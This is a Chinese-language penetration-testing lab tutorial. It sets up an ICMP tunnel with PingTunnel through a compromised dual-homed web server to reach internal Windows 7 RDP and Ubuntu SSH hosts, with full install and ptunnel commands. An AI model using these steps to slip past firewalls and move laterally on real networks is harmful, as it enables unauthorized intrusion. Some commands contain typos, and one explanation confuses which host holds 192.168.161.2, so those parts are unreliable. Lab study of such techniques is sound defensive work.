目录
引言
实验目的
实验内容
基础知识
ICMP协议简介
ICMP隧道简介
ICMP隧道搭建工具介绍
PingTunnel简介
实验过程
前置准备
PingTunnel搭建ICMP隧道步骤
CentOS 7更换阿里源
CentOS 7安装make及词法分析工具
CentOS 7安装libpcap依赖库
CentOS 7安装PingTunnel
CentOS 7启动ptunnel
Kali Linux桥接模式上网
Kali Linux更换阿里源
Kali Linux安装词法分析工具
Kali Linux安装libpcap依赖库
Kali Linux安装PingTunnel
Kali Linux打通隧道
Win 10测试3389连接
Kali Linux测试22端口连接
CentOS 7隧道观测
实验总结
总结
参考连接
引言
实验目的
- 掌握PingTunnel搭建ICMP隧道的步骤
- 掌握PingTunnel的使用方法及应用场景
实验内容
- PingTunnel及相关依赖环境的安装
- 使用PingTunnel搭建ICMP隧道
基础知识
ICMP协议简介
Internet Control Message Protocol Internet控制报文协议,简称ICMP协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用于网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
CMP协议主要提供两种功能,一种是差错报文,一种是信息类报文。信息类报文包括回显请求和回显应答,以及路由器通告和路由器请求。常见的差错报文类型包括目的不可达、重定向、超时和参数问题。
ICMP协议具有如下特点:
- 确认IP数据包是否成功到达目的地
- 通知源主机发送IP数据包丢失的原因
- ICMP是基于IP协议工作的
- ICMP只能作用于IPV4,IPV6下,使用ICMPv6
ICMP隧道简介
ICMP协议是一种特殊的协议,在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。
在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问访问。
由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性。
通常ICMP隧道技术采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道。简单说就是,改变操作系统默认填充的Data,替换成我们自己的数据。所以现在的ICMP隧道技术,基本采用修改ICMPECHO和ICMPECHOREPLY两种报文,把消息隐藏在数据中,利用ping或 tracert 命令建立隐蔽通道。
ICMP隧道具有如下优缺点
优点:
- 防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高
缺点:
- 隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低。
- 利用隧道传输时,需要接触更低层次的协议,这就需要高级用户权限。
ICMP隧道搭建工具介绍
ICMP隧道搭建的工具有很多,包括但不限于以下工具:
- PingTunnel: http://www.cs.uit.no/~daniels/PingTunnel/ 【C语言】
- Pingtunnel:https://github.com/esrrhs/pingtunnel/ 【Go语言】
- icmptunnel:https://github.com/jamesbarlow/icmptunnel 【C语言】
- Icmpsh:https://github.com/bdamele/icmpsh 【多语言混合】
- Invoke-PowerShellIcmp: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellIcmp.ps1 【Powershell】
PingTunnel简介
PingTunnel是一个基于网络层面ICMP协议的内网穿透工具,常用于搭建ICMP隧道,为了避免隧道被滥用,还可以为隧道设置密码。
PingTunnel可以传递以下参数:
- -x :指定ICMP隧道连接的验证密码
- -lp:指定要监听的本地TCP端口
- -da:指定要转发的目标机器的IP地址
- -dp:指定要转发的目标机器的TCP端口
- -p:指定ICMP隧道连一段的IP地址
实验过程
前置准备
网络拓扑如下:
物料清单如下:
- Kali Linux攻击机:192.168.161.142(Host-Only模式)
- Win10攻击机:192.168.161.144(Host-Only模式)
- CentOS7 Web服务器:192.168.161.2(Host-Only模式)192.168.27.252(NAT模式)
- Win7内网PC机:192.168.27.248(NAT模式)
- Ubuntu 16.04 内网PC机:192.168.27.251(NAT模式)
Host-Only模式模拟互联网、NAT模式模拟内网。CentOS7模拟企业对外提供的Web服务器,该机器是双网卡,可以通内网,同时向互联网提供Web服务。
实验场景为:我们已经获取了该Web服务器的权限,试图搭建ICMP隧道,连接内网Win7的3389端口和Ubuntu 16.04的22端口,进行内网横移。
该实验中,CentOS 7 充当跳板机,内网的Win 7 和 Ubuntu 16.04 是我们的两台靶机。
PingTunnel搭建ICMP隧道步骤
CentOS 7更换阿里源
wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo
非阿里云ECS用户防止出现 Couldn't resolve host 'mirrors.cloud.aliyuncs.com' 信息,需执行如下命令:
sed -i -e '/mirrors.cloud.aliyuncs.com/d' -e '/mirrors.aliyuncs.com/d' /etc/yum.repos.d/CentOS-Base.repo
执行如下命令:
sudo rpm --rebuilddb 重新安装包头数据库索引目录
sudo yum clean al 清理所有yum缓存
Sudo yum -y updat 安装所有更新软件
CentOS 7安装make及词法分析工具
yum -y install gcc automake autoconf libtool make
yum -y install byacc flex bison
CentOS 7安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
sudo ./configure
sudo make && sudo make install
CentOS 7安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
sudo make && sudo make install
CentOS 7启动ptunnel
sudo ptunnel -x icmptest
-x为隧道指定连接密码
Kali Linux桥接模式上网
为了能够让Kali Linux在实验环境上网,便于我后面可以使用apt-get命令安装软件。我新增了块网卡,采用桥接模式,因此多出来一个IP:192.168.110.101。
Kali Linux更换阿里源
修改 /etc/apt/sources.list , 将相关 url 改成阿里云的源。
deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
执行命令:sudo apt-get update
Kali Linux安装词法分析工具
sudo apt-get install byacc flex bison
Kali Linux安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
sudo ./configure
sudo make && sudo make install
Kali Linux安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
sudo make && sudo make install
Kali Linux打通隧道
sudo ptunnel -p 192.168.161.2 -lp 2899 -da 192.168.27.248 -dp 3389 -x icmptest
命令解释:将内网IP为192.168.27.248的win7 PC机器的3389端口转发到互联网IP为Kali 192.168.161.2的2899端口,建立icmp隧道,并设置连接密码为icmptest
sudo ptunnel -p 192.168.161.2 -lp 2822 -da 192.168.27.251 -dp 22 -x icmptest
命令解释:将内网IP为192.168.27.251的ubuntu PC机器的22端口转发到互联网IP为Kali 192.168.161.2的2822端口,建立icmp隧道,并设置连接密码为icmptest
Win 10测试3389连接
用win10 攻击机,连接Kali Linux的2899端口,192.168.161.142:2899,通过隧道登录到win7靶机。
Kali Linux测试22端口连接
ssh -p 2822 mxi4oyu@192.168.161.142
用Kali Linux 攻击机,连接本机的2822端口,通过隧道登录到ubuntu 16.04靶机。
CentOS 7隧道观测
ICMP隧道的建立,其实是在CentOS7上建立了一个虚拟网卡。通过创建虚拟网卡,将所有流量都经过这个虚拟网卡。
通过隧道的连接记录我们可以看到,一共有两个session。一个是连接到内网win7的,一个是连接到内网ubuntu 16.04的。
实验总结
总结
我们在CentOS 7 这个跳板机上安装了PingTunnel,并启动server端。在Kali Linux这个攻击机上也安装了PingTunnel,并启动client端。利用PingTunnel,我们在攻击机Kali Linux和跳板机CentOS 7上建立了ICMP隧道。之后我们分别通过Win10和Kali Linux这两台攻击机,去连接内网的Win7和Ubuntu 16.04这两台靶机。
参考连接
https://cloud.tencent.com/developer/article/2098581 https://blog.csdn.net/qq_45300786/article/details/110943803